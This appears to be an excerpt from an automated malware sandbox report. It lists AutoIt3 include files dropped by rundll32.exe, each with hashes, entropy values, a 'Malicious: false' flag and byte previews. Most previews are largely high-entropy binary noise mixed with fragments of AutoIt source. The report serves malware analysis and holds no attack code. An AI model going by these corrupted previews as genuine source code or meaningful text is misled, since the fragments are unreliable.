Preview:	......?.M..w7..8...y........<.u..>.....T=....3>..fM'T..q..L....Mf.]N.)o......g...u...<.u..>.....T=....3>..fM'T..q..L....Mf.]N.)o......P....<Y../.f..-........_....Hom..Vz!I..#..Q}....5.ZS.:a......P....&R.Cf.h..-........i......G..8.s....".._......(....gr....[.3...,P..h.h..#y.......Z ....Lz#..>.:...+...N....8....g\|..........;.../.f..#_.......d......3>..fM'T..q..L....Mf.]N.)o......g...u...<.u..>.....T=....3>..fM'T..q..L....Mf.]N.)o......g...u...<.u..>.....T=..65#..>I=.....L....Mf.]N.)o......g...u...<.u..>.....T=....3>..fM'T..q..L....Mf.]N.)o......g...u...<.u..>.....T=....3..7.x....#.......$../0.X...}...z....$Z.Cm....pL...../O....yBL..{M:X... ...G..../.D:.Q...r.q....u../..$..bT......MI....}]@..."['.....Q......9..S.{<....w......t.{U....E}........l.....Ml../P> .....#h...1..@N.%d..8.y.5....Z.Qu.l..Fl......(D.....3#..Q7v...l...X...>..?7.C...t.\|.......{..<.y...2......*o....GM...4U>.....4j...@V.'..v3..v.P.......a.fN....B\|....

C:\Program Files (x86)\AutoIt3\Include\ListBoxConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5338
Entropy (8bit):	6.749422198403418
Encrypted:	false
SSDEEP:	96:15exTzZvHMrI9XreghIuMITPrhM9csLIS:15ex/JsrSbk2uIS
MD5:	49CE16A28B58D8E0D6BF92392E4B7B0F
SHA1:	A15825F293628C4F57E1DC60A64885D825699F0E
SHA-256:	CC7AC4A9D02A2819A6525309EA8864150E850E4D2F8CBE03F1021E70E0D0035A
SHA-512:	28E22E723843FE0CDFF320AEB52D55498A8E55A1018C28072D8AC53DECD91AC91E603A2EBD603A313DF6C9531E740C3078DC71428C95F6B906E8C02FC4B9D4BB
Malicious:	false
Preview:	.wV.....T.MU.Ju...YLxCA.w.'`.......k...:.....]..2...s..jU....==================================================================================..; Title .........: ListBox_Constants..; Auto.j.....ZU....nK...T4;.?o.Lt:..I..x...=.{......1.....=.>.... ...: <a href="../appendix/GUIStyles.htm#List">GUI control ListBox styles</a> and much more constants...; Author(s) .....: Valik.>..... GT.Z..nV.;.A%.:9ri.'`.......k...:.....]..2...s..jU....====================================================================================....; #CONSTANTS# ==========================.#.....[......}E...G8.:9ri.'`.......k...:.....]..2...s..jU....=========================..; Styles..Global Const $LBS_NOTIFY = 0x00000001 ; Notifies whenever the user clicks or double clicks .>K.....81.B_.!..u..vB' ..~E...z........7.....@.S}ID..:..9.... the list box alphabetically..Global Const $LBS_NOREDRAW = 0x00000004 ; Specifies that the appearance is not updated when change.>Y.....Q^.$w./..Z.9jXtpopaX...{......u

C:\Program Files (x86)\AutoIt3\Include\ListViewConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	23534
Entropy (8bit):	6.770661886105848
Encrypted:	false
SSDEEP:	384:dJZXQq3DwVr6HKf8KRZLJ2p+LiBP0+6gqd49BlccdeQRaVL22vGUUAJG:hgvrrJZLQp98d49BlccdeQRKL22vGUUd
MD5:	0720F164CC66288AEB963F4DE8C6B698
SHA1:	92445F67D31858374231ACBCE90880536A5A0D68
SHA-256:	5FFA980A4F60CEDEB687870F74FA7BA4180949906CA5B32392E7C4D09BB3AC1C
SHA-512:	914D411B1C0B99BF50EE2FA934FF52D157D0B471CB7DDA4984F4742FF0D7763BDAA3A038493AED78FAD416C9F7216DEF4AE6850E19710881858AA9ED15F65295
Malicious:	false
Preview:	..L...p.>!Hu.V..F$CK'......g....>.......a.03.P..a{..W..1].$.h==================================================================================..; Title .........: ListView_Constants..; Aut....1..f.>!..o.S5V,X...d..=Y.LX#....=....jb...'V}....I~..m.:n ...: <a href="../appendix/GUIStyles.htm#ListView">GUI control ListView styles</a> and much more constants...; Author(s) .....:..C...5.0=R0.....(@,G......g....>.......a.03.P..a{..W..1].$.h==========================================================================================....; #CONSTANTS# ====================..].Z..(.lr.-.a.@9]?T.......g....>.......a.03.P..a{..W..1].$.h===============================..; Group state - Vista..Global Const $LVGS_NORMAL = 0x00000000..Global Const $LVGS_COLLAPSED = 0..P.W..%.\El\|.>..]G.l....~...d.oyF...k..l.=>._. .C....O..j.u$LVGS_NOHEADER = 0x00000004..Global Const $LVGS_COLLAPSIBLE = 0x00000008..Global Const $LVGS_FOCUSED = 0x00000010..Global Const .6h4..P....U.\|.M\|P2Y......@.I\o.....

C:\Program Files (x86)\AutoIt3\Include\Math.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4964
Entropy (8bit):	7.505061427592117
Encrypted:	false
SSDEEP:	96:nei0CieimieiWieiGiVieiqieifieiMVLiei+4SZ074WieiZMizieiIZLiqwieiy:nei0CieimieiWieiGiVieiqieifieiMK
MD5:	4C7CEED9F184477EC8ACFE54D9BE6146
SHA1:	95468E0C8B349BA95D742C4D38C69C10F4025CAD
SHA-256:	06B7ED5A4773229411D7B2957CFCD90C1024CB3AF56155D26EC05F3D83034C8D
SHA-512:	4D6EB9941C48294FBA979DAFF77A80730CF104B9F6DDB483E1AD02242DD1D7682A97E2F5A3E84AE26676C0246D304E7F6DB486FE34C57B1782E7B3EB35977E6D
Malicious:	false
Preview:	........SB.. !.QJ..^]....a..+../.V"3)l.....;...Nr.....^.._....EA.].....K...fT......R......U...f..k}:0.....+..P.....C.._....EA.].....K...fT......R......U...f..k}:0.....+..g....@...L....VR.@..HD..L_.8...^P....X......{.M"/Ny...._y..W.....H..o..............X...aI..Z]..........+.Q9.'#....Cx...T....D....S...X....QM..HF./...Q.....@......V..v.ry......6.C.....M...N.g...X:........DE.>.......e......U...f..k}:0.....+..P.....C.._....EA.].....K...fT......R......U...f..k}:0.....+..P.....C.._....EA.].....K...fT......R..&...H....w..AX....x5.P.....C.._....EA.].....K...fT......R......U...f..k}:0.....+..P.....C.._....EA.].....K...fT......R......e...Q....fy.....]R..`1....C.._....EA.].....K...fT......R......U...f..k}:0.....+..P.....C.._....EA.].....K...fT......R......U...f..k}:0.....+..P....&E..!.r...,_.].....K...fT......R......U...f..k}:0.....+..P.....C.._....EA.].....K...fT......R......U...f..k}:0.....+..P.....C..Y........m...s..U&.`I..T_..T..~......`..k}

C:\Program Files (x86)\AutoIt3\Include\MathConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	7.246785322627567
Encrypted:	false
SSDEEP:	24:Vh4HIXNh4HI6M2H/gfHIXNh4HIXN3PgIXNh4HIXNhUmSuMaC4HIXNh43HaAA+7uW:VhGyNhGNM24yNhGyNIyNhGyNhrUGyNha
MD5:	033E25B3691636325F889FC12E57740D
SHA1:	738418903A9F06B436E280123D1D5CD04E1C5031
SHA-256:	859D2C0A1B59371D4FE40A2485B52338A2EB895A1531B0F4287B799CE4F69DA5
SHA-512:	5C7256DA1C818F6D8E37FC39E0FFFAD0845EC9FAF9CED55AC2977696D00DAB1C69AE74D568FC0BC581E00E4D5BBF525D560960ED0C0CC6DC591E193B2A942317
Malicious:	false
Preview:	m]..a..g..7.{..oD...o...d.A...[.].7.O..uN-NW0...P6p7.....,e}..s...0\.?.WdT#.._s......z.A...[.].7.O..uN-NW0...P6p7.....,e}..s...0\.?.WdT#.._s.$9.....+.\...H.N.$lH.q).x,)bW...e9y.#...d,/....Q..d..".JjG-..T`.$9..... .....H.N.$lH.y&.\|..e4..MO(y.[..x7...`..b..vS.-.>..B,..ZH...".\.....@x.6..Hh.#S.nK...+:b.G..x6'...:\.x..v[.7.0..Yn.\GN....n.R...H.@^.+..Y;..yQ-...P6p7.....,e}..s...0\.?.WdT#.._s......z.A...[.].7.O..uN-NW0...P6p7.....,e}..s...0\.?.WdT#.._s......z.A...[.].7.O..uN-NW.3..V+nI.g.._....s...0\.?.WdT#.._s......z.A...[.].7.O..uN-NW0...P6p7.....,e}..s...0\.?.WdT#.._s......z.A...[.].7.O..uN-NW0...P.G1.v...y.(...]..$l.E^.;.r... .]......../..".6pY.0.yhN0Bg.~...j!*.F..1\|.....}..D7.Q{(.,>..PC.$9.... ....J.?kk&..R`Z.y-aV...+.e.Z..\......s..H2.?._nG,..Uy......J.G...[.].7.O..uN-NW0...P6p7.....,e}..s...0\.?.WdT#.._s......z.A...[.].7.O..uN-NW0...P6p7.....,e}..============================......Es.O.5}.v...k-....74..!.:..G..>....Z.&;.l.js......}"".t..wFu...

C:\Program Files (x86)\AutoIt3\Include\Memory.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18498
Entropy (8bit):	6.215129329924275
Encrypted:	false
SSDEEP:	384:HgUgQirYE9jNo21uc65pbenUUGyhEmS8m8vhv8dlPpMfzX:RyM6nNbvhkdhqD
MD5:	B64A1E3A2A8A2F75B57CA5A0C5F3B4D6
SHA1:	3E37DF785E7014A1B253A8FA11DE21B2DB538F2B
SHA-256:	79FE24940DF96BEF251CC5AB02F31F67CD1A0FF9DF2035FBEAF3479546D0C618
SHA-512:	3DA2533B999061D757F1AED9DD91505BB40D913B05C91A4E2033A28AF7634641E0854DB53A0C934113577D5CE664F66F1AC8E1C1544E03CC5FC84AB2E99DB627
Malicious:	false
Preview:	^2N }(...,...o.. Aj.../xO?\.U.+.q.....hCD.88..KO...H.()^. B.{..ssConstants.au3"..#include "Security.au3"..#include "StructureConstants.au3"....; #INDEX# ======================================@f.~,`.I.~..._..>.9.v R ,...d....W.W;...dp..{x.D...`p..?/.)SP=================..; Title .........: Memory..; AutoIt Version : 3.3.16.1..; Description ...: Functions that assist with Memory .:N"v8...7...Y...#.$.k=O=1...y.Z.....iEN.4,.! .Y.F.1(V.lf.4..rtual memory, provides a core set of services such as memory mapped files,..; copy-on-write memory, large m.6O1h}...3...N..g.q...9q.t....,.B.....iE.[1(..'&...F.3,\.p<..UMAuthor(s) .....: Paul Campbell (PaulIA)..; =====================================================================================@f.~,`.I.~..._..>.9.v R ,...d....W.W;.."S@... ...E..8U.v{.z.Mlist....; #NO_DOC_FUNCTION# ====================================================================================================@f.~,`.I.N...h..pM`...kZ:T1.\|.y.]....Jd

C:\Program Files (x86)\AutoIt3\Include\MemoryConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2747
Entropy (8bit):	7.686283455917439
Encrypted:	false
SSDEEP:	48:jBF+8up4CV7Fdz2DEDu6qdSuSYV448vahOO0LzfY/Ex/24f7BtS:jbBup4C3V2AK6ub8vMO9vzxFbS
MD5:	3A6B2ACFCE91179CC746F5E55DEBE66E
SHA1:	9680C94D5786F060F122425109759BD47816A3EE
SHA-256:	0E445FB491F2198AF4CA7766570B8B5E534936CB99726B3EBD63742FF53313DE
SHA-512:	F17C8FB1B7D0ACC5A45F129B8E1C22758DC1999304724DD9EF9DA17179B84AE54C70CD329AD35BBEC81B08F689AFB55773F33B88BFA6498CD4C2D8D35AE86786
Malicious:	false
Preview:	.lg...l...x2d..OnuoX.b....9Bq4%7~03...:.0....`....E.O.x.]H_...84\E.5..A.. .S.-Isk.+.....9Bq4%7~03...:.0....`....E.O.x.]H_...84\E.5..A.. .S.-IC\.6.N....Qb'6$m# ..b.bLIp.2........~.!....A%_...a..\....].!B`g+.......q.+l8$m# ...'.cY\F.5.......,.......+'[X.g.....iLN...n.C{.U....j.8`wd0#....F.yV_]......V.H.....B..Xuk...(....T~G..Onk.+.....9Bq4%7~03...:.0....`....E.O.x.]H_...84\E.5..A.. .S.-Isk.+.....9Bq4%7~03...:.0....`....E.O.x.]H_...84\E.5..A.. .S.-IC\+.......W+.GLY`-3...:.0....`....E.O.x.]H_...84\E.5..A.. .S.-Isk.+.....9Bq4%7~03...:.0....`....E.O.x.]H_...84\E.5..A.. .S.-Isk.+....f. )[e-~z..J.@avf.........B.u.j2...Ti)"..{.X.Xr1._"..dZ......4O\|;...aa...'.bPC[.y.....6.1...!66...5qQH.8..;..^..S. %R6.`....J0.@KI._J...7.=....W......1.+..UF..pHV;=.G..5.. .^. Dzf+..K....$<#gk~c)I...X.Bzyi.}....H.B.O.......Ff...(..1.B{'.S5..gT.b....\|O}9(.IJb...k.NQ^\.}.....'.=...!;)...8)Q..8..q..qP..\|T.9He....I .AYX.-3..5.=.=%.1.....;...1.D2/..jAM$+.I..\..-G\. DC\az.E....k.?}8..@K...

C:\Program Files (x86)\AutoIt3\Include\MenuConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	5208
Entropy (8bit):	7.841549389099823
Encrypted:	false
SSDEEP:	96:w3U8U9333cW2BR2ncswNwgC8YTmnSvAFUc7r7b/xuGKkQ17/21CS1WuxDyk60PuS:w39M33lCR2nj/6SvAuXdF21Wukt02S
MD5:	5DB8E68C642E6202848F0551003752C9
SHA1:	74B144626ACEDB7FFE5C899580F430406DB61001
SHA-256:	A943ED1DD05D15BB8600695228BDCA8502D569DE00882016E290506C12CE2308
SHA-512:	D7B1E08CCF32393FB9F0896EF1074732745C3D441E45FFCE27E7834DF60083DA5C178135B93FAC34914F81699B0F6E87E848A914359736597C9A0928764FA347
Malicious:	false
Preview:	&.x......W.. .o.....'.$._.6<....Mqa)AD....@..S..-....s\|_......8U+...J......?..X.....^.A.B.6<....Mqa)AD....@..S..-....s\|_......8U+...J......?..X.(!..7..K..%/...=^br.\4.\..>....M~].<9ua#.C...S.d..........,..K.(!../..@.Lld...=^br.\<.U.....d..TL.RA'1..X..+R6.......M..dE.E.@E.....D.DdoB...Kl.a...@..T..@..>..gR"(.......%.d...[......9..X.....^.A.B.6<....Mqa)AD....@..S..-....s\|_......8U+...J......?..X.....^.A.B.6<....Mqa)AD....@..S..-....s\|_......8U+...J......?'.h....,./s>c_R....Mqa)AD....@..S..-....s\|_......8U+...J......?..X.....^.A.B.6<....Mqa)AD....@..S..-....s\|_......8U+...J......?..X..&....F..Hn_..3T..K)7.{..)..S..h..;t"...[....v.6...(...{.F..E.]...$..E.A+B^.gPh.R#,.q..>.*..0...>D...U....j.e...:...m..Lm.X..S..i..H.Lg!r.`.lxY:&.`..8..S..h....~qR.:....g.z........]n.6.gg..C.\...;1...#BAVS...S.>.....4d.nq../.g....}X&...G...3.mH...fD....Xj9rHIt.V4la4L.....M..V.&WE.SR"a!.Y..H.I..."......2..U.....i..H.Lg!r.`.lxY:&.w..?.,.iQb...~9R......5e.......z.q^.A.ct..-.>u:l@!...k@\|l$LI

C:\Program Files (x86)\AutoIt3\Include\Misc.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	35079
Entropy (8bit):	6.62209356585782
Encrypted:	false
SSDEEP:	768:ZnYYhI7QhBqR/j6unENJkDjAR8yxX/lcIrUyoOduNg88bx9:ZYYhrBqj6unENJiy8yxtEyoOcNCbx9
MD5:	CE31BBCECC4FC7B9A528BEBB173C51FE
SHA1:	5D5A74BAC359766ED63609E70DFCE2D32E02DAD2
SHA-256:	E08F9EB79DCE938E18813FE037DEEA9E82F0DA7D8DF89F8AE67194E4F555AF4A
SHA-512:	01477150E19DCBFE03224933C3F09E38970696573EFD3EF1EB31460A45A7217DD2C31ACD63C6BC0343D19CFF51F35DF54CD45AED5E3CC324CD9DBC043C3215B9
Malicious:	false
Preview:	....%R.;.......TO.y.........7.JQ.o!.hn.........c5r......E. y...#include "FontConstants.au3"..#include "StructureConstants.au3"..#include "WinAPIError.au3"....; #INDEX# =====================...t..c.._..dx.-.Y@..G...._.%..s.&'KX...#...~3o........-.Y...==================================..; Title .........: Misc..; AutoIt Version : 3.3.16.1..; Language ......: English..; Descript....g..d.......6+.0......L..1..o.X&.Xu....Z.U.,i!.......x..... .....: Gary Frost, Florian Fida (Piccaso), Dale (Klaatu) Thompson, Valik, ezzetabi, Jon, Paul Campbell (PaulIA)..; ============...t..c.._..dx.-.Y@..G...._.%..s.&'KX...#...~3o........-.Y...===================================================....; #CONSTANTS# ===========================================================...t..c.._..dx.-.Y@..G...._.%..s.&'KX...#...~3o........W..D.. Const $__MISCCONSTANT_CC_ANYCOLOR = 0x0100..Global Const $__MISCCONSTANT_CC_FULLOPEN = 0x0002..Global Const $__MISCCONSTANT_CC_....n.~..R....hH.+.Y@..G...._.%..s.&'KX

C:\Program Files (x86)\AutoIt3\Include\MsgBoxConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	4482
Entropy (8bit):	7.799753722206394
Encrypted:	false
SSDEEP:	96:kWmM8TU8P8x5dnZ6SKY8ze1gF2G+RUglUus4FbmX8rvS:kV49ZVUzeyFsRHlUe3vS
MD5:	82D6AB9957A9E3D774C2C7D938C62A99
SHA1:	D428F44C9AFAAAC83511FAB6A11ADA34F28309A5
SHA-256:	8BCB3964D91F699F12CA6448B6455602D838D0AD8009012A45EA26B65FC7F3E6
SHA-512:	3765300E1E3A427A110A84E6BA3438C009DA1AF6F8A843979FD4EF683AE2656383ABCA922CC1D31053F05D4D0A6791F0CD2474B14380E46CAECA1AF561322144
Malicious:	false
Preview:	...4.`.H.5.X(....7...W......$.p.1...l..)...."@..<.....f...V...j.(..X.f...$.3.).v/.....$.p.1...l..)...."@..<.....f...V...j.(..X.f...$.3.....{.....7.c."...q{.s...i.p....o.P09,b..."...2.f...a....?.%.p2..^.~Ym."......Q..._.wp...E.P^A~2/..K..m.V...:.IV9.a..q..%q..\..pRm.b..%Y.`...\|....!.KX]77(..K..4.\|.E.(..Ja...4..?z...J..7.c."...$_.z.....u....:.....f...V...j.(..X.f...$.3.).v/.....$.p.1...l..)...."@..<.....f...V...j.(..X.f...$.3.).v/.....$.p.1...l..)...."@..<.)09,bx...8....6..X.f...$.3.).v/.....$.p.1...l..)...."@..<.....f...V...j.(..X.f...$.3.).v/.....$.p.1...l..)...."@..<....OQ......0.5......SVm.`....k[..Z.\|Om.d..$B.{...R.l....d..T]763......0.5...Q.QJ{.b..{..?2..f.9.m.,...?S.d.....j....;.lv>..7......9.a..(...vfX.M..4.z2...N..iI>.,..%Y.g...}.~....`.@X_.H.......8.f..A...\|gV.Z..@...U..\|..9.m.,..4S.d.....j....r..\|Qx0/......{.t.E.<.RW\|....{..'2..J..=q..U....u.Z.....?N...U.QXV72......8.f..<.(..kv....p..\|..4..uS/.`..?E

C:\Program Files (x86)\AutoIt3\Include\NTSTATUSConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	240988
Entropy (8bit):	6.661309809851292
Encrypted:	false
SSDEEP:	3072:c3W/TWjn1xM2mbDghcqAsPjky9l5eO4iONAAclwAuJxQ9a:cfZxbyUeq/Z9l5eEAMNa
MD5:	7EB5C5E9DE02BA38050816EEACE9C810
SHA1:	0D81DA4B0B949BC1B69E1FA6CB2F5081BE96FD4B
SHA-256:	DE782EBDF48E35F182BDF94675A6FAA13E149A84EDB8FC00123E41F6160F930D
SHA-512:	35C16DBE4E3E15866DBC8059A8D9D08CB3ACED842AA13BEC9FBBA77BC9C35933D76505B1BF90BFCF4A4F336CBB1A961D1DE26CD86C79E77B54F5ABAD76C5A858
Malicious:	false
Preview:	.(....}....WB.WNp...1..BA...Sl?.i...?Y...H.8I..F.:S.(..Bm."},D==================================================================================..; Title .........: NTSTATUS UDF Library for .4........G;K.0k.[...=A[...].3.z.$.9Db.S..l..L..'@.;..1..z2c.r codes (NTSTATUS) to be used with WinAPI UDF library..; Author(s) .....: Yashied..; ==========================================.\|...$.....r.gyv...B..n\\...Sl?.i...?Y...H.8I..F.:S.(..Bm."},D=====================....; #CONSTANTS# =========================================================================================.\|...$.....r.gyv...B..n\l0l..3cHt.F.q...s!.Q!.z(.D-.F..Bp.gp!I00000 ; The operation completed successfully...Global Const $STATUS_WAIT_0 = 0x00000000 ; The caller specified WaitAny for WaitT.1....}....])..,..Z...'.._Y..3hA7.Z.k...H..J..@..'..g.E_8.l`s.en set to the signaled state...Global Const $STATUS_WAIT_1 = 0x00000001 ; The caller specified WaitAny for WaitType and one of t.$....i...@oK8...J._.s.._...;gG .H.p.

C:\Program Files (x86)\AutoIt3\Include\NamedPipes.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14259
Entropy (8bit):	6.392165726003581
Encrypted:	false
SSDEEP:	384:qXIdaUbUe+pag1A/KgvqBjjDIR53DpA9i84Ou+4604N:L/MpaZ/KCDySS
MD5:	9108D36ECB032474E7F9D61D2B5844C4
SHA1:	620AF14F6E4EF43E17C30BB1A5BDB7BB4D94EF82
SHA-256:	1763A1AC11C9A3515333CADDC62B66F97A6765317DD18F5B7D22278671CE89B8
SHA-512:	B6B0F2ECA6F267578B3A8066CA6615311E48E3017929279A5443F29FC361427C9E4B11BCF0F05C7124185FE92773B9F537F69A0FC5F51AEA457415F1D57F8608
Malicious:	false
Preview:	...U)1.....K.#R!.....\|.w2F..t.y...Kp.........,g..a1.U_...7w[y=======================================================================================================================..; Title..T.kjK.....G(Ir....\|.}[.d.s..c....-..K..".b$e...\.....\.Vw.: English..; Description ...: Functions that assist with Named Pipes...; A named pipe is a named, one-way or dX..S=d....N.\xOn...j.f{.*..d.i..Pv.....i...m3..LZ..\...R@.ymore pipe..; clients. All instances of a named pipe share the same pipe name, but each instance has its own O..P 6....L.$c.!....)S22Dd..!..d...H{..E..h...p3...H..\....].-e conduit for client server communication. The use of instances enables..; multiple pipe clients to use...Se7.....I.K<.q....`.g~.%.n.`...._..E..c...le..........RA.4ed pipes, subject..; to security checks, making named pipes an easy form of communication between related or X..S)%.....X.A;Ir.....H22Dd..!..,....>.

C:\Program Files (x86)\AutoIt3\Include\NetShare.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	45783
Entropy (8bit):	6.539149115735974
Encrypted:	false
SSDEEP:	768:Tl7FtEq3/wK+Jz2uH9qBK3uAw64wv8zFoq8bzs4ar84gAOBnI:J7FtEqvwK+JFHkK3uZ650zFobbzs3Y43
MD5:	245A64A60D97480B70D7FA35A747FE7F
SHA1:	07553C8B46AB64F94089417EFFD088F197D441E3
SHA-256:	F5851ADF065D6C605F2C84B9CEF4B59CED103AC22418002B38184153A9E753B1
SHA-512:	B028BA92FACAE95371D59AD68A31DD43BC955272F5A547A2703E8D8B9B21FBF9E7054CB39AA6764950B2B38DA26E0CBE0BC0F2D2260F480BCF1CAEEA18621CD5
Malicious:	false
Preview:	...?x..7E`w.../.j....&..c..n..&.."..........b.bIM0@$.....M.\|D..nAPIConv.au3"....; #INDEX# =====================================================================================================..La)..oU2$..O..]....j..rZ.....kQ@~.sR.#.....'9D..O/.....]....;ersion : 3.3.16.1..; Language ......: English..; Description ...: Functions that assist with Network Share...; ...\|z..%.}r...D......)..iX....1..<..........?.b..X9)....A....Mresource is a local resource on a server (for..; example, a disk directory, print device, or named pipe) that ...\|v.3.l\|..A...../..&W.Y...5..3.).......l...b7q'...Q..\|F.M network...; Author(s) .....: Paul Campbell (PaulIA)..; ===================================================================..La)..oU2$..O..]....w..;......xBSm.`U.P...F.q[*GR.w:...L..Ql.g; #CONSTANTS# ==================================================================================================================..{.x..3./Z..Q.D.......Oe.i.eBN`.mX.]

C:\Program Files (x86)\AutoIt3\Include\PowerPoint.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	58031
Entropy (8bit):	6.524751052168628
Encrypted:	false
SSDEEP:	768:b8J0VggwrYAcy/PUiQswrcdSz6ppPO759/8YNCPDLi46j1xPF9KUISAJKvt:We0TkZsG+ShmqPFgsvt
MD5:	84B1936A8AE56A9DD925A5C382423A22
SHA1:	5640711700411C43C83CED4D002D6F2C115BD3CB
SHA-256:	232AEF6FF3478088A1EE5FE2B20C37092232521AEEC70067AE6AF831A1A30070
SHA-512:	BFC4DB510BBF9FB992014952F629F8BE59E8B25EE51B20D531722A4998D35379D9268F45774F14722BE0CFE2457189F31FD7C20339E7FC93F4D483983206959B
Malicious:	false
Preview:	..&..g.g.N...\Y.....a,/./.x_....._.n..f..X$.$V\|.-...@..~... intConstants.au3>....; #INDEX# =================================================================================================.u\./.?..@..ln..HO.)uG..\.cB...G...!U.;.L.ZBJ.0..(.......!f...oFunction Library..; AutoIt Version : 3.3.12.0..; UDF Version ...: Alpha 5..; Language ......: English..; Description ...: A coll..<..\|.mF....2'.....r'8....oE.....M.k[.t..]bGH(6.n.......}...8erPoint files..; Author(s) .....: water..; Modified.......: 20170606 (YYYMMDD)..; Remarks .......: Based on the UDF written by t..,..:.gE.1..: ...I.X!$..R.$..Z.G.../..a...8.^+(..;.......y... m/forum/topic/50254-powerpoint-wrapper..; Contributors ..:..; ==================================================================.u\./.?..@..ln..HO.)uw..A.7..I.T...2F.(.K...ab..s..]..L4.B.; #VARIABLES# =================================================================================================================.Ek.~.`AM]...:..!-.q?..A.:..T...Y./..c

C:\Program Files (x86)\AutoIt3\Include\PowerPointConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7475
Entropy (8bit):	6.64525762267081
Encrypted:	false
SSDEEP:	192:JfFKcO42F4saMWAhW50OgQ3psRPpXrbowLS:JfFKcOzrW550OgQ3GBFot
MD5:	CDF11F8D1CCB96A5BFC8D5D450523E6C
SHA1:	5DD3A7118336A5F773811D16D99E974DFC9E390C
SHA-256:	B20CA03D62157383413849ADEE38DD475807101C18DD17576012188EB07C7C03
SHA-512:	FA637CAC2B603C888EEBDEADD53A5EF040613D2C8D0CD6F29241A648BAD150B6969854164A8C34059912087144A1AABED20E5363E1F2B1D10D33A7BE2279654C
Malicious:	false
Preview:	.U4..aZ.jNX?t.!....JQ.[A.RW'm.........e.:...E_&S.\..?.0K....==================================================================================..; Title .........: PowerPointConstants..; Au.S..XB[.4HY21...)..Xo/b..R&{>..^......v.'.....h..k..g.n....@on ...: Constants to be included in an AutoIt script when using the PowerPoint UDF...; Author(s) .....: water..; Resources ..........qL.(HX(1...7...m,z.x...t#.W.......5..i...t......m."....Z/library/ff744042%28v=office.14%29.aspx..; =====================================================================================..g.E)..z..a,...:..T%\|"R$.OW'm.........e.....XAX!.2...V..V....===============================================================================================================..; PpFixedFormat.E.XQP.DD=e.D.)...}"v.`....p..O....... ..*.....oN.....v.-....[t...; See: https://msdn.microsoft.com/en-us/library/ff746754%28v=office.14%29.aspx..Global Const $ppFixedFormatTypePDF = 2 ; PDF.Z5..uJ.MfZ3s.G.DE..la;.i....4..M....B.

C:\Program Files (x86)\AutoIt3\Include\Process.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4135
Entropy (8bit):	7.643052819300494
Encrypted:	false
SSDEEP:	96:qGnYmQahuBIqhgOSufgZUdoTTyLfn8qvajVS:q87lhODI9Ifn8qGVS
MD5:	C96F35F655C035AAC8B6C2CE59C8C5DB
SHA1:	C51AE5482281707A97BD526E50C486B8F2A6AF01
SHA-256:	32693D8C8681956CA90FF3314B2E9211BCED4DB454AA0C3D60F33F755629B07B
SHA-512:	5897D4DEE76EFBA98003B100941D59252C5F1CF2AE66C8098C68B64779BF8DE73938642132A154D0E3BDD656082F6AC90C277C64FAA04E74AEA3DE364C791A9A
Malicious:	false
Preview:	!:.....?....?:&.E..K.>....@...!x.L#b#...I..V.R.<...+l...r..%.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...k;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-A.a.b."j@s.,}....t...5TI.<7..G....T0...7b.al6pDZ.....Jl.....~+.;.S.x(.}.,i.....3...a.h.<Y.L.&....>.[..~.l8e?...I.]C[..B..0;.....$iF6.qs.....?....t:&.o{.Q.=.....>.O.j1.J>e6.....kX...C...q8.2.A..sF8.p......7..4SI.c..D.;.....T...j%.!b"~YZ....\...T..>(.6.<.v;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...k;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...[.(Y."p........g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...k;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...k;.n..Y....5....RX..W.(mi..Os....n._>e?...D.6.[>.D..CA.a...k;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...k;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g.<.\=.p.W....y....g...r...Zo....-.\.y6.2q1mJI.....F\.....-q.g...k;.n.?n...g....g...r...Zo....-.\.y6.2q1mJI

C:\Program Files (x86)\AutoIt3\Include\ProcessConstants.au3

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1783
Entropy (8bit):	7.475889854694801
Encrypted:	false
SSDEEP:	48:0qwm3gwqwCdwqwr6l9pPig4PXqw2/M2XZwitBS:PBwTxdT79pPig6XqG2JVHS
MD5:	B442FB85D3ED2832BB73EEBB79D42D4E
SHA1:	FE1B33508DDA0C0D752BC6180A33A3DE7D6C463C
SHA-256:	79D5DF372BEB4BF31AC3B964CB9062D0C73AC15EDB10A9D144A7363D8C3884EE
SHA-512:	C2D6D0CA5CC24F86E05B21818D0238F8DF822213228322B1949E5C01510205845890B212D0852955479EAA9134D5540DA5075F0C86F7079B53AA625083BB134D
Malicious:	false
